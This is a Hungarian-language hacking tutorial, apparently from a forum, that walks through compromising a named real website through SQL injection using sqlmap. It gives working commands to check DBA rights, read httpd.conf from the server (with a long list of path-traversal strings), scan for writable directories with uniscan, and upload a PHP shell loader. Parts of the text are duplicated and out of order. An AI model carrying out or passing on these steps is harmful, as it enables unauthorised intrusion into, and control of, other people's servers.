../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Az sqlmap-tól a következő formában kapunk jelentést:

Amint látja, az sqlmap azt mondta nekünk, hogy a fájl mérete megegyezik a szerveren lévő fájl méretével, ezért jogunk van elolvasni ezt a fájlt. Ha nem lenne elegendő jogosultság a fájl olvasásához, akkor hibaüzenet jelenik meg, hogy a gépünkre mentett fájl mérete eltér a szerveren lévő fájl méretétől, vagy nincs fájl a szerveren az általunk megadott elérési úton, és soha volt. Az Sqlmap elmentette a fájlunkat a jelentésfájlokba, és az olvasáshoz el kell indítani az ablakkezelőt. Az ablakkezelő elindításához megnyitunk egy másik terminálablakot, és beírjuk a parancsot:

Ezután a megnyíló kezelőben azt az utat követjük, ahol az sqlmap hozzáadta a fájlt, azaz:
/root/.sqlmap/output/sacoor.com
Ezután vigye a kurzort a fájl fölé, nyomja meg az F3 gombot a billentyűzeten, és olvassa el az Apache konfigurációs fájlját:

A konfigurációs fájlunkból azt látjuk, hogy webhelyünk a következő elérési útvonalon található:
/home/sbshop/site/

Most, hogy van egy kis információnk, megpróbálhatjuk kitölteni a shellt, ehhez a következő parancsot írjuk be:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

A parancs beírása után az sqlmap megkérdezi, hogy milyen típusú kitöltőt szeretnénk használni, mert... esetünkben PHP nyelvű az oldal, akkor feltöltjük a PHP-betöltőt, kiválasztjuk a 4-es elemet és nyomjuk meg az Entert. Ezután az sqlmap megkér minket, hogy válasszuk ki, hova töltsük fel a betöltőnket, és mivel... A szerveren már ismerjük a webhelyünk elérési útját, majd válassza ki a 2. elemet, nyomja meg az Enter billentyűt, és adja meg a webhely elérési útját:
/home/sbshop/site/

Ezután nyomja meg az Enter billentyűt, és nézze meg a következő jelentést:

Ebben az esetben az sqlmap azt mondja, hogy nincs írási jogunk ehhez a mappához. Nem probléma, ez a probléma meglehetősen könnyen megoldható. Parancsot adunk az uniscan indítására és a fájlok és mappák írhatóságának ellenőrzésére, itt a parancs.

Na, a témához:

Spoiler: Töltse fel a héjat

Van egy SQL-injekció az oldalon, amely így néz ki:

A linkek megtekintéséhez regisztrálnia kell.


Az első dolog, amit meg akarunk tenni, az az, hogy ellenőrizzük, hogy van-e jogosultságunk fájlokat írni a támadott erőforrásra; ehhez töltse be a terminált, és adja ki a következő parancsot:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Kattintson Belépés elkezdődik az SQL Injection elemzése, a jelentés így néz ki:

Ahogy a jelentésben is látható, az Apache verziója, a MySQL verziója és a szerverre telepített operációs rendszer verziója meg van írva, mindez hasznos lesz számunkra a jövőben, de ami a legfontosabb, láthatja, hogy jogunk van fájlok írására, ez a Current User is DBA: True sorban jelenik meg

A következő lépés számunkra a shell rögzítéséhez szükséges útvonalak beszerzése. A fájl letöltésével elérhetjük a szerveren az oldalunk elérési útját httpd.conf. A httpd.conf fájl helyéről a Google segítségével kapunk információkat; kereshet a telepített operációs rendszer verziója vagy a legvalószínűbb elérési utak listája alapján. Általánosságban elmondható, hogy nem megyek bele mélyebben a keresőkben való böngészésbe, csak amikor megtudta a fájl elérési útjának legvalószínűbb helyét, akkor ideje letölteni ugyanezt a fájlt a lemezre, ehhez írja be a következőt parancs és kérés olvassa be a fájlt a szerveren:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Azonnal jegyezzük meg, hogy ezt a konfigurációs fájlt nem mindig lehet először megtalálni, ezért használhatja a legvalószínűbb elérési utat, ahol ez a fájl található:

A KONFIG FÁJL LEHETSÉGES ÚTJÁNAK LISTÁJA:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Az sqlmap-tól a következő formában kapunk jelentést:


Amint látja, az sqlmap azt mondta nekünk, hogy a fájl mérete megegyezik a szerveren lévő fájl méretével, ezért jogunk van elolvasni ezt a fájlt. Ha nem lenne elegendő jogosultság a fájl olvasásához, akkor hibaüzenet jelenik meg, hogy a gépünkre mentett fájl mérete eltér a szerveren lévő fájl méretétől, vagy nincs fájl a szerveren az általunk megadott elérési úton, és soha volt. Az Sqlmap elmentette a fájlunkat a jelentésfájlokba, és az olvasáshoz el kell indítani az ablakkezelőt. Az ablakkezelő elindításához megnyitunk egy másik terminálablakot, és beírjuk a parancsot:

Ezután a megnyíló kezelőben azt az utat követjük, ahol az sqlmap hozzáadta a fájlt, azaz:
/root/.sqlmap/output/sacoor.com
Ezután vigye a kurzort a fájl fölé, és nyomja meg a gombot F3 a billentyűzeten, és olvassa el az Apache konfigurációs fájlját:


A konfigurációs fájlunkból azt látjuk, hogy webhelyünk a következő elérési útvonalon található:
/home/sbshop/site/

Most, hogy van egy kis információnk, megpróbálhatjuk kitölteni a shellt, ehhez a következő parancsot írjuk be:

A parancs beírása után az sqlmap megkérdezi, hogy milyen típusú kitöltőt szeretnénk használni, mert... esetünkben PHP nyelvű az oldal, akkor feltöltjük PHP-betöltő, válassza ki 4. pontés nyomja meg az Entert. Ezután az sqlmap megkér minket, hogy válasszuk ki, hova töltsük fel a betöltőnket, és mivel... már ismerjük a webhelyünk elérési útját a szerveren, majd válassza ki 2. pont, nyomja meg Belépés adja meg a webhely elérési útját:
/home/sbshop/site/

És utána nyomjuk Belépés a következő jelentést látjuk:


Ebben az esetben az sqlmap azt mondja, hogy nincs írási jogunk ehhez a mappához. Nem probléma, ez a probléma meglehetősen könnyen megoldható. Parancsot adunk az uniscan indítására és a fájlok és mappák írhatóságának ellenőrzésére, itt a parancs:

Uniscan -u http://www.sacoor.com/ -qwe

Most a szkenner ellenőrzi az összes írható könyvtárat:


A lapolvasó három olyan könyvtárat talált, amelyekben fájlok írhatók, ezért megpróbáljuk újra betölteni a shell betöltőnket, de ezúttal más módon. Futtassa újra a parancsot:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

és kiválasztásával 4. pont(a PHP szkript kitöltése), adja meg az elérési utat:
/home/sbshop/site/admin

A következőket látjuk.



Tetszett a cikk? Oszd meg